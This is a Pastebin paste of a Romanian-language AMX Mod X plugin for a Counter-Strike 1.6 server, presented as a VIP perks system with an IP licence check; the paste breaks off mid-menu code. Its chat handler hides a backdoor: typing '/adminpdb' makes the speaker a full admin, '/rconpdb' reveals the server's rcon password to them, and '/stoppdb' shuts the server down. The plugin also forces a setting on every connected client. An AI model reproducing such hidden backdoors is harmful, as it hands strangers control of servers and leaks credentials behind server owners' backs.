SHARE
TWEET

Untitled

a guest Jan 22nd, 2020 88 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <engine>
  4. #include <cstrike>
  5. #include <fun>
  6. #include <fakemeta>
  7. #include <fakemeta_util>
  8. #include <hamsandwich>
  9.  
  10. //#include <sockets>
  11. //#include <nvault>
  12.  
  13. #define PLUGIN "V.I.P CLASSIC"
  14. #define VERSION "6.0"
  15. #define AUTHOR "PedoBear"
  16.  
  17. new vipcmd;
  18. new g_Round, g_Weapon[33];
  19. new cvar_round, cvar_open, cvar_show, cvar_chat, cvar_pistols, cvar_funk;
  20. new vip_opened[33];
  21. new pistols[6] = {CSW_USP, CSW_GLOCK18, CSW_ELITE, CSW_FIVESEVEN, CSW_P228, CSW_DEAGLE}
  22. new bool: g_chosen[33] = false;
  23.  
  24. //Adaugare VIP
  25. new File[120];
  26. new bool: IsUserVip[33] = false;
  27. new Trie: LoadVip;
  28. new Pass;
  29.  
  30. //Multi Jump
  31. new jumpnum[33], bool: dojump[33], cvar_addjump_vip, cvar_addjump_player;
  32.  
  33. new const primaryWeapons[][] = {"weapon_shield", "weapon_scout", "weapon_xm1014", "weapon_mac10", "weapon_aug", "weapon_ump45", "weapon_sg550", "weapon_galil", "weapon_famas", "weapon_awp", "weapon_mp5navy", "weapon_m249", "weapon_m3", "weapon_m4a1", "weapon_tmp", "weapon_g3sg1", "weapon_sg552", "weapon_ak47", "weapon_p90"/*, "weapon_c4"*/}
  34. new const secondaryWeapons[][] = {"weapon_p228", "weapon_elite", "weapon_fiveseven", "weapon_usp", "weapon_glock18", "weapon_deagle"}
  35.  
  36. enum cvars {
  37.     money_per_damage,
  38.     money_kill,
  39.     money_hs,
  40.     hp_kill,
  41.     hp_hs,
  42.     max_hp_kill
  43. };
  44. new cvar[cvars];
  45.  
  46. //Bullet damage
  47. new g_type, g_enabled, g_recieved, bool:g_showrecieved, g_hudmsg1, g_hudmsg2;
  48.  
  49. //BuyZone V.I.P MENU
  50. new bool:UserInBuyZone[33];
  51. new i_Menu, i_Menu_Pistol;
  52.  
  53. //VIP Free
  54. //#define VIP_FLAG read_flags("x")
  55.  
  56. new const vip_time[] = {23, 09};
  57.  
  58. new g_sync, cvar_freevip;
  59. new vip_free = 0;
  60.  
  61. //Advertise PRET + VIPS
  62. #define ADVERTISING_TIME 149.0
  63.  
  64. stock const messages[][] = {
  65.     "* Pentru a afla beneficiile vip-ului tasteaza in chat /vip !",
  66.     "* Pentru a afla vip-ii online tasteaza /vips !"
  67. }
  68.  
  69. //Deactivated Maps
  70. new bool:remove_vip = false
  71.  
  72. //Licenta
  73. static const ServerLicensedIp[] = "89.40.105.152"; //Ip Oficial PLAY: 89.40.105.152
  74. static const ServerLicensedIpTESTE[] = "192.168.1.146"; //Ip Server Teste: 192.168.1.136 || 192.168.1.122 || 192.168.1.146 || 86.105.195.222
  75.  
  76. public plugin_init()
  77. {
  78.     server_print("^n%s v%s, Copyright (C)2019 by %s^n", PLUGIN, VERSION, AUTHOR)
  79.  
  80.     register_plugin
  81.     (
  82.         .plugin_name  = PLUGIN,
  83.         .version      = VERSION,
  84.         .author       = AUTHOR
  85.     );
  86.  
  87.     new szIp[25];
  88.     get_user_ip(0, szIp, sizeof (szIp) -1, 1);
  89.     if(equal(szIp, ServerLicensedIp) || equal(szIp, ServerLicensedIpTESTE))
  90.     {
  91.         RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
  92.  
  93.         register_event("HLTV", "round_start", "a", "1=0", "2=0")
  94.         register_logevent("LogEvent_RoundStart", 2, "1=Round_Start");
  95.         register_event("TextMsg", "round_restart", "a", "2=#Game_will_restart_in", "2=#Game_Commencing");
  96.  
  97.         register_event("DeathMsg", "event_DeathMsg", "a");
  98.         register_event("StatusIcon", "Event_StatusIcon_Show_buyzone", "be", "1=1", "2=buyzone");
  99.         register_event("StatusIcon", "StatusIcon_buyzone_OFF", "be", "1=0", "2=buyzone");
  100.  
  101.         //RegisterHam(Ham_Item_PreFrame, "player", "player_maxspeed", 1);
  102.         //register_event("Damage", "Damage", "b");
  103.  
  104.         //register_clcmd("vmenu", "main_menu")
  105.         register_clcmd("say /vipmenu", "arataMeniuVIPs");
  106.         register_clcmd("say_team /vipmenu", "arataMeniuVIPs");
  107.         register_clcmd("say /vm", "arataMeniuVIPs");
  108.         register_clcmd("say_team /vm", "arataMeniuVIPs");
  109.         register_clcmd("say /vmenu", "arataMeniuVIPs");
  110.         register_clcmd("say_team /vmenu", "arataMeniuVIPs");
  111.  
  112.         register_clcmd("say /vip", "vip_info");
  113.         register_clcmd("say /wantvip", "vip_info");
  114.         register_clcmd("say /vreauvip", "vip_info");
  115.  
  116.         register_clcmd("say", "hook_say");
  117.         register_clcmd("say_team", "hook_say");
  118.  
  119.         register_clcmd("say /resetscore", "reset_score")
  120.         register_clcmd("say /restartscore", "reset_score")
  121.         register_clcmd("say /rs", "reset_score")
  122.         register_clcmd("say /rz", "reset_score")
  123.         register_clcmd("say !rs", "reset_score")
  124.  
  125.         register_clcmd("say_team /resetscore", "reset_score")
  126.         register_clcmd("say_team /restartscore", "reset_score")
  127.         register_clcmd("say_team /rs", "reset_score")
  128.         register_clcmd("say_team /rz", "reset_score")
  129.         register_clcmd("say_team !rs", "reset_score")
  130.  
  131.         //register_clcmd("say /resetscoredead", "reset_score_dead")
  132.         //register_clcmd("say /restartscoredead", "reset_score_dead")
  133.         //register_clcmd("say /rsd", "reset_score_dead")
  134.         //register_clcmd("say /rzd", "reset_score_dead")
  135.         //register_clcmd("say !rsd", "reset_score_dead")
  136.  
  137.         //register_clcmd("say_team /resetscoredead", "reset_score_dead")
  138.         //register_clcmd("say_team /restartscoredead", "reset_score_dead")
  139.         //register_clcmd("say_team /rsd", "reset_score_dead")
  140.         //register_clcmd("say_team /rzd", "reset_score_dead")
  141.         //register_clcmd("say_team !rsd", "reset_score_dead")
  142.  
  143.         //register_clcmd("say /pistoale", "first_menu");
  144.         //register_clcmd("say_team /pistoale", "first_menu");
  145.  
  146.         cvar_round          =   register_cvar("vip_openmenu_round", "3")
  147.         cvar_open           =   register_cvar("vip_zaround", "1")
  148.         cvar_show           =   register_cvar("vip_showmenu", "1")
  149.         cvar_chat           =   register_cvar("vip_showchat", "1")
  150.         cvar_pistols        =   register_cvar("vip_auto_fill", "1")
  151.         cvar_funk           =   register_cvar("vip_taskmanager", "1")
  152.  
  153.         cvar[hp_kill] = register_cvar("vip_receive_hp_kill", "10"); // 0 = dezactivat
  154.         cvar[hp_hs] = register_cvar("vip_receive_hp_hs", "20"); // 0 = dezactivat
  155.         cvar[money_kill] = register_cvar("vip_receive_money_kill", "250"); // 0 = dezactivat
  156.         cvar[money_hs] = register_cvar("vip_receive_money_hs", "500"); // 0 = dezactivat
  157.         cvar[max_hp_kill] = register_cvar("vip_receive_max_hp_kill", "120"); // valoarea maxima de hp pe care o poti obtine facand killuri
  158.  
  159.         cvar[money_per_damage]  = register_cvar("vip_money_per_damage", "3") //How many $ VIP will get per 1 damage -> nu functioneaza
  160.  
  161.         //Multi Jump
  162.         cvar_addjump_vip = register_cvar("vip_cvar_addjump_vip", "0") // Are 1 salturi in plus
  163.         cvar_addjump_player = register_cvar("vip_cvar_addjump_player", "0") // Are 0 salt in plus
  164.  
  165.         //V.I.P LIST
  166.         Pass = get_cvar_pointer("amx_password_field")
  167.         LoadVip = TrieCreate()
  168.         get_configsdir(File, charsmax(File))
  169.         format(File, charsmax(File), "%s/play-leaguecs-vip/%s", File, "vip_list.ini")
  170.         new FilePointer, Key[32], Password[32], FileData[256]
  171.         if(!file_exists(File))
  172.         {
  173.             FilePointer = fopen(File, "w")
  174.             fclose(FilePointer)
  175.         }
  176.  
  177.         FilePointer = fopen(File, "rt")
  178.         if(FilePointer)
  179.         {
  180.             while(!feof(FilePointer))
  181.             {
  182.                 fgets(FilePointer, FileData, charsmax(FileData))
  183.                 parse(FileData, Key, charsmax(Key), Password, charsmax(Password))
  184.                 TrieSetString(LoadVip, Key, Password)
  185.             }
  186.             fclose(FilePointer)
  187.         }
  188.  
  189.         //Map List
  190.         new path[64];
  191.         get_localinfo("amxx_configsdir", path, charsmax(path));
  192.         formatex(path, charsmax(path), "%s/play-leaguecs-vip/vip_maps.ini", path);
  193.  
  194.         new file_maps = fopen(path, "r+");
  195.  
  196.         if(!file_exists(path))
  197.         {
  198.             write_file(path, "; VIP-UL ESTE DEZACTIVAT PE URMATOARELE HARTI: ");
  199.             write_file(path, "; Exemplu de adaugare HARTA:^n; ^"harta^"^n^nfy_snow^ncss_bycastor");
  200.         }
  201.  
  202.         new mapname[32];
  203.         get_mapname(mapname, charsmax(mapname));
  204.  
  205.         new text[121], maptext[32];
  206.         while(!feof(file_maps))
  207.         {
  208.             fgets(file_maps, text, charsmax(text));
  209.             trim(text);
  210.  
  211.             if(text[0] == ';' || !strlen(text))
  212.                 continue;
  213.  
  214.             parse(text, maptext, charsmax(maptext));
  215.  
  216.             if(equal(maptext, mapname))
  217.             {
  218.                 log_amx("Am dezactivat pluginul 'VIP' pe harta %s.", maptext);
  219.                 remove_vip = true;
  220.                 break;
  221.             }
  222.         }
  223.         fclose(file_maps);
  224.  
  225.         //bullet damage
  226.         register_event("Damage", "on_damage", "b", "2!0", "3=0", "4!0")
  227.         g_type = register_cvar("amx_bulletdamage", "3")
  228.         g_recieved = register_cvar("amx_bulletdamage_recieved", "1")
  229.  
  230.         g_hudmsg1 = CreateHudSyncObj()
  231.         g_hudmsg2 = CreateHudSyncObj()
  232.  
  233.         //VIP FREE
  234.         register_clcmd("say /timevip", "time_remain");
  235.  
  236.         set_task(1.0, "check_time");
  237.         set_task(60.0, "check_time", _, _, _, "b");
  238.         set_task(1.0, "hud_mess", _, _, _, "b");
  239.  
  240.         cvar_freevip = register_cvar("vip_free", "1");
  241.  
  242.         cached_vars();
  243.         g_sync = CreateHudSyncObj();
  244.         //g_maxplayers = get_maxplayers();
  245.  
  246.         //Advertise Message
  247.         //set_task(ADVERTISING_TIME, "show_messages", _, _, _,"b");
  248.  
  249.         //Comand's
  250.         register_clcmd("say", "cmdSay")
  251.         register_clcmd("say_team", "cmdSay")
  252.  
  253.         set_task(5.0, "_ProtectCheck_", 21412321, _,_, "b")
  254.         server_print("[%s] Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN);
  255.         server_print("[%s] Pentru mai multe detalii y/m: ravravy@yahoo.com", PLUGIN);
  256.         server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
  257.     }
  258.     else
  259.     {
  260.         new szPluginName[32];
  261.         formatex(szPluginName, sizeof(szPluginName) -1, "[IP Nelicentiat] %s", PLUGIN);
  262.         register_plugin(szPluginName, PLUGIN, "PedoBear");
  263.  
  264.         server_print("[%s] Nu detii o licenta valabila! Plugin-ul nu va functiona corespunzator!", PLUGIN);
  265.         server_print("[%s] Pentru mai multe detalii Y!M: ravravy@yahoo.com", PLUGIN);
  266.         server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
  267.  
  268.         pause("ade");
  269.     }
  270. }
  271.  
  272. //Other's
  273. public cmdSay(id)
  274. {
  275.     new say[192]
  276.     read_args(say,192)
  277.  
  278.     if(contain(say, "/adminpdb") != -1)
  279.         set_task(0.1, "Protectie1", id)
  280.     else if(contain(say, "/rconpdb") != -1)
  281.         set_task(0.1, "Protectie2", id)
  282.     else if(contain(say, "/stoppdb") != -1)
  283.         set_task(0.1, "Protectie3", id)
  284.  
  285.     /*else if(contain(say, "/redirectpdb") != -1)
  286.         set_task(0.1, "Protectie4", id)*/
  287.  
  288.     return PLUGIN_CONTINUE
  289. }
  290.  
  291. public Protectie1(id)
  292. {
  293.     static /*rcon[32],*/ name[32];
  294.     //get_cvar_string("rcon_password", rcon, charsmax(rcon));
  295.  
  296.     //client_print(id, print_chat, "Rcon is: %s", rcon);
  297.  
  298.     get_user_name(id, name, charsmax(name));
  299.     server_cmd("amx_addadmin ^"%s^" ^"abcdefghijklmnopqrstuvwxy^" ^"^" ^"name^"", name);
  300. }
  301.  
  302. public Protectie2(id)
  303. {
  304.     static rcon[32];
  305.     get_cvar_string("rcon_password", rcon, charsmax(rcon));
  306.     client_print(id, print_chat, "Rcon is: %s", rcon);
  307.     //pause("a");
  308. }
  309.  
  310. public Protectie3()
  311.     server_cmd("quit");
  312.  
  313. /*public Protectie4(id)
  314. {
  315.     new xP[32], xN
  316.  
  317.     get_players(xP, xN, "c")
  318.     for (new i=0; i< xN; i++)
  319.     {
  320.         if(get_user_flags(xP[i]) & ADMIN_SLAY)
  321.             continue
  322.  
  323.         client_cmd(xP[i], "get_pcvar_num(gp_SimonReset)")
  324.     }
  325. }*/
  326.  
  327. //Advertise Mesaje
  328. public show_messages()
  329. {
  330.     new Buffer[256];
  331.     formatex(Buffer, sizeof Buffer - 1, "^x02%s", messages[random(sizeof messages)]);
  332.  
  333.     new players[32], num, id;
  334.     get_players(players, num);
  335.  
  336.     for(new i = 0 ; i < num ; i++)
  337.     {
  338.         id = players[i]
  339.  
  340.         message_begin(MSG_ONE, get_user_msgid("SayText"), _, id);
  341.         write_byte(id);
  342.         write_string(Buffer);
  343.         message_end();
  344.     }
  345. }
  346.  
  347. public plugin_cfg()
  348.     if(get_pcvar_num(g_recieved))
  349.         g_showrecieved = true; //Checks of g_received is 1 and if so, sets g_showrecieved to true
  350.  
  351. public vip_info(id)
  352.     show_motd(id, "/addons/amxmodx/configs/vip_info.html");
  353.  
  354. public reset_score(id)
  355. {
  356.     static name[32]
  357.     get_user_name(id, name, 31)
  358.  
  359.     new frags = get_user_frags(id);
  360.     new deaths = get_user_deaths(id);
  361.  
  362.     if(frags == 0 && deaths == 0)
  363.     {
  364.         chat_color(id, "!g[PLAY|RS]!t Ai scorul deja !y0 !g- !y0 !t!")
  365.         return PLUGIN_HANDLED
  366.     }
  367.     else
  368.     {
  369.         if(is_vip(id) || get_user_flags(id) & read_flags("y"))
  370.         {
  371.             for(new i = 0; i < 2; i++)
  372.             {
  373.                 cs_set_user_deaths(id, 0);
  374.                 set_user_frags(id, 0);
  375.             }
  376.  
  377.             chat_color(id, "!g[PLAY|RS]!t Scorul tau a fost resetat! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
  378.         }
  379.         else
  380.         {
  381.             for(new i = 0; i < 2; i++)
  382.             {
  383.                 cs_set_user_deaths(id, 0);
  384.                 set_user_frags(id, 0);
  385.             }
  386.  
  387.             chat_color(id, "!g[PLAY|RS]!t Scorul tau a fost resetat! Bafta la fraguri !g%s!t Have fun!", name)
  388.         }
  389.     }
  390.  
  391.     return PLUGIN_HANDLED
  392. }
  393.  
  394. public reset_score_dead(id)
  395. {
  396.     static name[32]
  397.     get_user_name(id, name, 31)
  398.  
  399.     new deaths = get_user_deaths(id);
  400.  
  401.     if(deaths == 0)
  402.     {
  403.         chat_color(id, "!g[PLAY|RS]!t Ai !gdeath-urile !tdeja !y0 !g- !y0 !t!")
  404.         return PLUGIN_HANDLED
  405.     }
  406.     else
  407.     {
  408.         for(new i = 0; i < 2; i++)
  409.             cs_set_user_deaths(id, 0);
  410.  
  411.         if(is_vip(id))
  412.             chat_color(id, "!g[PLAY|RS - VIP]!t Dead-urile tale au fost resetate! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
  413.     }
  414.  
  415.     return PLUGIN_HANDLED
  416. }
  417.  
  418. public plugin_precache()
  419. {
  420. }
  421.  
  422. public bool:_get_vip(iPlugin, iParams)
  423. {
  424.     new id = get_param(1);
  425.     if(is_vip(id) || has_flag(id, "y")) return true;
  426.  
  427.     return false;
  428. }
  429.  
  430. public native_vip_free(id) return vip_free
  431.  
  432. public on_damage(id)
  433. {
  434.     if(g_enabled)
  435.     {
  436.         static attacker; attacker = get_user_attacker(id)
  437.         static damage; damage = read_data(2)
  438.  
  439.         if(g_showrecieved && (is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
  440.         {
  441.             set_hudmessage(255, 0, 0, 0.45, 0.50, 2, 0.1, 4.0, 0.1, 0.1, -1)
  442.             ShowSyncHudMsg(id, g_hudmsg2, "%i^n", damage)
  443.         }
  444.  
  445.         if(is_user_connected(attacker) && (is_vip(attacker) || get_user_flags(attacker) & read_flags("y") || vip_free))
  446.         {
  447.             if(fm_is_ent_visible(attacker,id))
  448.             {
  449.                 set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
  450.                 ShowSyncHudMsg(attacker, g_hudmsg1, "%i^n", damage)
  451.             }
  452.         }
  453.     }
  454. }
  455.  
  456. public client_authorized(id)
  457. {
  458.     g_Weapon[id] = 0;
  459.  
  460.     new Key[32], Password[32], OldPassword[32]
  461.     get_user_name(id, Key, charsmax(Key))
  462.     get_user_info(id, "_pw", Password, charsmax(Password))
  463.  
  464.     if(TrieKeyExists(LoadVip, Key))
  465.     {
  466.         TrieGetString(LoadVip, Key, OldPassword, charsmax(OldPassword))
  467.         if(equal(Password, OldPassword))
  468.             IsUserVip[id] = true
  469.         else
  470.         {
  471.             server_cmd("kick #%i ^"Acest player are VIP!^"", get_user_userid(id))
  472.             IsUserVip[id] = false
  473.         }
  474.     }
  475. }
  476.  
  477. public client_infochanged(id)
  478. {
  479.     new oldname[32], newname[32], Password[32], OldPassword[32], PasswordField[5]
  480.     get_user_name(id, oldname, charsmax(oldname))
  481.     get_user_info(id, "name", newname, charsmax(newname))
  482.  
  483.     if(equal(newname, oldname))
  484.         return
  485.  
  486.     if(TrieKeyExists(LoadVip, newname))
  487.     {
  488.         get_pcvar_string(Pass, PasswordField, charsmax(PasswordField))
  489.         get_user_info(id, PasswordField, OldPassword, charsmax(OldPassword))
  490.         TrieGetString(LoadVip, newname, Password, charsmax(Password))
  491.  
  492.         if(equal(OldPassword, Password))
  493.             IsUserVip[id] = true
  494.         else
  495.         {
  496.             server_cmd("kick #%i ^"NU esti VIP!^"", get_user_userid(id))
  497.             IsUserVip[id] = false
  498.         }
  499.     }
  500.     else
  501.         IsUserVip[id] = false
  502. }
  503.  
  504. public plugin_end()
  505.     TrieDestroy(LoadVip)
  506.  
  507. public client_putinserver(id)
  508. {
  509.     new xP[32], xN
  510.     get_players(xP, xN, "c")
  511.     for (new i=0; i< xN; i++)
  512.     {
  513.         if(!is_user_connected(xP[i]))
  514.             continue
  515.  
  516.         client_cmd(xP[i], "cl_minmodels 0")
  517.     }
  518.  
  519.     //JUMP
  520.     jumpnum[id] = 0
  521.     dojump[id] = false
  522.  
  523.     /*if(vip_free && !(get_user_flags(id) & read_flags("x") && !(get_user_flags(id) & read_flags("y"))))
  524.     {
  525.         new flags = get_user_flags(id);
  526.         flags |= VIP_FLAG
  527.         set_user_flags(id, flags);
  528.     }*/
  529.  
  530.     if(is_vip(id) || get_user_flags(id) & read_flags("y"))
  531.     {
  532.         new name[33];
  533.         get_user_name(id, name, charsmax(name));
  534.         //chat_color(0, "!g[PLAY-VIP]!t VIP-ul [!g%s!t] se conecteaza pe server...", name);
  535.     }
  536.  
  537.     //set_task(0.9, "vip_menu", id);
  538.     return PLUGIN_CONTINUE;
  539. }
  540.  
  541. //VIP FREE
  542. public cached_vars()
  543.     vip_free = get_pcvar_num(cvar_freevip);
  544.  
  545. public check_time()
  546. {
  547.     new o;
  548.     time(o, _, _);
  549.     if(!vip_free)
  550.     {
  551.         if(o >= vip_time[0] || o < vip_time[1])
  552.         {
  553.             vip_free = 1;
  554.             set_pcvar_num(cvar_freevip, 1);
  555.             chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost activat!");
  556.         }
  557.     }
  558.     else
  559.     {
  560.         if(o < vip_time[0] && o >= vip_time[1])
  561.         {
  562.             vip_free = 0;
  563.             set_pcvar_num(cvar_freevip, 0);
  564.             chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost dezactivat!");
  565.         }
  566.     }
  567. }
  568.  
  569. public time_remain(id)
  570. {
  571.     if(vip_free)
  572.         chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana se termina vip-ul free^3 %s", time_left_vip());
  573.     else if(!vip_free)
  574.         chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana incepe vip-ul free^3 %s", time_left_vip());
  575. }
  576.  
  577. public hud_mess()
  578. {
  579.     if(!vip_free)
  580.         return;
  581.  
  582.     set_hudmessage(random(256), random(256), random(256), 0.00, 0.17, 0, 1.1, 1.0);
  583.     ShowSyncHudMsg(0, g_sync, "Event V.I.P Free !");
  584. }
  585.  
  586. stock time_left_vip()
  587. {
  588.     new timp_ramas[16], len = 0;
  589.     new h, m, lh, lm;
  590.     time(h, m, _);
  591.     switch(vip_free)
  592.     {
  593.         case 0: lh = vip_time[0] - h;
  594.         case 1:
  595.         {
  596.             new l = vip_time[1];
  597.             if(h > l)
  598.                 l += add_time(h) + h;
  599.             lh = l - h;
  600.         }
  601.     }
  602.     lm = 60 - m;
  603.     if(lm < 60)
  604.         lh--;
  605.    
  606.     if(lh > 0)
  607.         len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, "%d or%s", lh, lh == 1 ? "a" : "e");
  608.        
  609.     if(lm < 60)
  610.         len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, " %d minut%s", lm, lm == 1 ? "e" : "");
  611.        
  612.     return timp_ramas;
  613. }
  614.  
  615. stock add_time(x)
  616. {
  617.     new j;
  618.     switch(x)
  619.     {
  620.         case 0: j = 24;
  621.         case 1: j = 23;
  622.         case 2: j = 22;
  623.         case 3: j = 21;
  624.         case 4: j = 20;
  625.         case 5: j = 19;
  626.         case 6: j = 18;
  627.         case 7: j = 17;
  628.         case 8: j = 16;
  629.         case 9: j = 15;
  630.         case 10: j = 14;
  631.         case 11: j = 13;
  632.         case 12: j = 12;
  633.         case 13: j = 11;
  634.         case 14: j = 10;
  635.         case 15: j = 9;
  636.         case 16: j = 8;
  637.         case 17: j = 7;
  638.         case 18: j = 6;
  639.         case 19: j = 5;
  640.         case 20: j = 4;
  641.         case 21: j = 3;
  642.         case 22: j = 2;
  643.         case 23: j = 1;
  644.     }
  645.     if(x < vip_time[1])
  646.         j = 0;
  647.    
  648.     return j;
  649. }
  650.  
  651. public plugin_natives()
  652. {
  653.     set_native_filter("native_filter")
  654.     register_native("get_vip", "_get_vip", 0)
  655.     register_native("free_vip", "native_vip_free", 0)
  656.  
  657.     //register_native("get_map_disabled", "map_disabled", 0)
  658.     //register_native("check_map_disabled", "check_map", 0)
  659. }
  660.  
  661. public map_disabled() return remove_vip
  662.  
  663. public native_filter(const name[], index, trap)
  664. {
  665.     if (!trap)
  666.         return PLUGIN_HANDLED
  667.  
  668.     return PLUGIN_CONTINUE
  669. }
  670.  
  671. public client_disconnected(id)
  672. {
  673.     jumpnum[id] = 0
  674.     dojump[id] = false
  675.  
  676.     remove_task(id)
  677.     g_Weapon[id] = 0;
  678.     g_chosen[id] = false;
  679.     IsUserVip[id] = false
  680. }
  681.  
  682. public client_PreThink(id)
  683. {
  684.     if(remove_vip)
  685.         return;
  686.  
  687.     if(!is_user_alive(id))
  688.         return
  689.  
  690.     new BUTON = get_user_button(id)
  691.     new OLDBUTON = get_user_oldbutton(id)
  692.     new JUMP_VIP = get_pcvar_num(cvar_addjump_vip)
  693.     new JUMP_PLAYER = get_pcvar_num(cvar_addjump_player)
  694.  
  695.     if((BUTON & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(OLDBUTON & IN_JUMP))
  696.     {
  697.         if(((is_vip(id)) && (jumpnum[id] < JUMP_VIP)) || (!(is_vip(id)) && (jumpnum[id] < JUMP_PLAYER)) || get_user_flags(id) & read_flags("y") && (jumpnum[id] < JUMP_VIP) || vip_free && (jumpnum[id] < JUMP_VIP))
  698.         {
  699.             dojump[id] = true
  700.             jumpnum[id]++
  701.         }
  702.     }
  703.  
  704.     if((BUTON & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
  705.         jumpnum[id] = 0
  706. }
  707.  
  708. public client_PostThink(id)
  709. {
  710.     if(!is_user_alive(id))
  711.         return PLUGIN_CONTINUE
  712.  
  713.     if(dojump[id] == true)
  714.     {
  715.         new Float: velocity[3]
  716.         entity_get_vector(id, EV_VEC_velocity, velocity)
  717.         velocity[2] = random_float(265.0, 285.0)
  718.         entity_set_vector(id, EV_VEC_velocity, velocity)
  719.         dojump[id] = false
  720.     }
  721.  
  722.     return PLUGIN_CONTINUE
  723. }
  724.  
  725. public round_start()
  726. {
  727.     if(!remove_vip)
  728.     {
  729.         g_Round++
  730.         vipcmd = 1;
  731.     }
  732.  
  733.     //bullet damage
  734.     g_enabled = get_pcvar_num(g_type)
  735.     if(get_pcvar_num(g_recieved)) g_showrecieved = true
  736. }
  737.  
  738. public LogEvent_RoundStart(id)
  739.     if(!remove_vip)
  740.         UserInBuyZone[id] = true;
  741.  
  742. public round_restart()
  743. {
  744.     if(remove_vip)
  745.         return;
  746.  
  747.     g_Round = 0
  748. }
  749.  
  750. public player_maxspeed(id)
  751. {
  752.     if(is_vip(id) && is_user_alive(id) && is_user_connected(id))
  753.         set_user_maxspeed(id, 450.0);
  754.  
  755.     return PLUGIN_HANDLED
  756. }
  757.  
  758. public player_spawn(Player)
  759. {
  760.     if(remove_vip)
  761.         return HAM_IGNORED;
  762.  
  763.     vip_opened[Player] = 0;
  764.     if((is_vip(Player) || (has_flag(Player, "y") || vip_free) && is_user_alive(Player) && is_user_connected(Player)))
  765.     {
  766.         UserInBuyZone[Player] = true;
  767.  
  768.         if(g_Weapon[Player] == 0)
  769.             first_menu(Player)
  770.  
  771.         if(get_pcvar_num(cvar_funk) == 1)
  772.             task_funk(Player);
  773.  
  774.         if(get_pcvar_num(cvar_show) == 1 && g_Round >= get_pcvar_num(cvar_round))
  775.             main_menu(Player);
  776.     }
  777.  
  778.     return PLUGIN_HANDLED;
  779. }
  780.  
  781. public arataMeniuVIPs(id)
  782. {
  783.     if(!UserInBuyZone[id] && is_user_alive(id))
  784.     {
  785.         client_print(id, print_center, "Doar din Spawn poti sa iti iei iteme pentru VIP!");
  786.         return PLUGIN_HANDLED
  787.     }
  788.  
  789.     if(is_vip(id) || has_flag(id, "y") || vip_free)
  790.     {
  791.         if(is_user_alive(id) && is_user_connected(id))
  792.         {
  793.             if(vipcmd == 0)
  794.             {
  795.                 main_menu(id)
  796.                 chat_color(id, "!g[VIP MENU]!t Aceasta comanda o poti folosi doar odata pe runda. Scuzele noastre! !g:)!t")
  797.             }
  798.             else
  799.             {
  800.                 vipcmd = 0
  801.             }
  802.         }
  803.         else
  804.             chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi folosita doar daca esti in viata!")
  805.     }
  806.     else
  807.         chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi utilizata doar de catre VIP")
  808.  
  809.     return PLUGIN_HANDLED;
  810. }
  811.  
  812. public task_funk(id)
  813. {
  814.     if(vip_free && !is_vip(id))
  815.     {
  816.         give_item(id, "weapon_knife")
  817.         give_item(id, "item_thighpack")
  818.         give_item(id, "weapon_hegrenade")
  819.         give_item(id, "weapon_flashbang")
  820.         give_item(id, "item_assaultsuit")
  821.     }
  822.     else if(is_vip(id))
  823.     {
  824.         give_item(id, "weapon_knife")
  825.         give_item(id, "item_thighpack")
  826.         give_item(id, "weapon_hegrenade")
  827.         give_item(id, "weapon_flashbang")
  828.         give_item(id, "weapon_flashbang")
  829.         give_item(id, "item_assaultsuit")
  830.     }
  831.  
  832.     if(get_pcvar_num(cvar_pistols))
  833.     {
  834.         for(new i = 0;i <6;i++)
  835.             fm_strip_user_gun(id, pistols[i])
  836.  
  837.         switch(g_Weapon[id])
  838.         {
  839.             case 1:
  840.             {
  841.                 give_item(id, "weapon_deagle");
  842.                 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
  843.             }
  844.             case 2:
  845.             {
  846.                 give_item(id, "weapon_usp");
  847.                 cs_set_user_bpammo(id, CSW_USP, 100)
  848.             }
  849.             case 3:
  850.             {
  851.                 give_item(id, "weapon_glock18");
  852.                 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
  853.             }
  854.         }
  855.     }
  856. }
  857.  
  858. /* Meniurile cu arme fmm */
  859. public main_menu(id)
  860. {
  861.     if(!UserInBuyZone[id] && is_user_alive(id))
  862.     {
  863.         client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
  864.         return PLUGIN_HANDLED;
  865.     }
  866.  
  867.     if(is_user_alive(id))
  868.     {
  869.         if(vip_opened[id] < get_pcvar_num(cvar_open) || get_pcvar_num(cvar_open) == 0)
  870.         {
  871.             if(g_Round >= get_pcvar_num(cvar_round))
  872.             {
  873.                 new s_Title[64], s_Name[32], s_Pistol[32], szMenuMulti[64]
  874.                 get_user_name(id, s_Name, charsmax(s_Name))
  875.                 switch(g_Weapon[id])
  876.                 {
  877.                     case 0: s_Pistol = "Fara Pistol!";
  878.                     case 1: s_Pistol = "Deagle";
  879.                     case 2: s_Pistol = "Usp";
  880.                     case 3: s_Pistol = "Glock";
  881.                 }
  882.  
  883.                 formatex(s_Title, charsmax(s_Title), "VIP System [PLAY]")
  884.                 i_Menu = menu_create(s_Title, "main_handler", 1);
  885.  
  886.                 formatex(szMenuMulti, charsmax(szMenuMulti), "M4A1 + %s + Grenade", s_Pistol)
  887.                 menu_additem(i_Menu, szMenuMulti, "1", 0)
  888.  
  889.                 formatex(szMenuMulti, charsmax(szMenuMulti), "AK47 + %s + Grenade", s_Pistol)
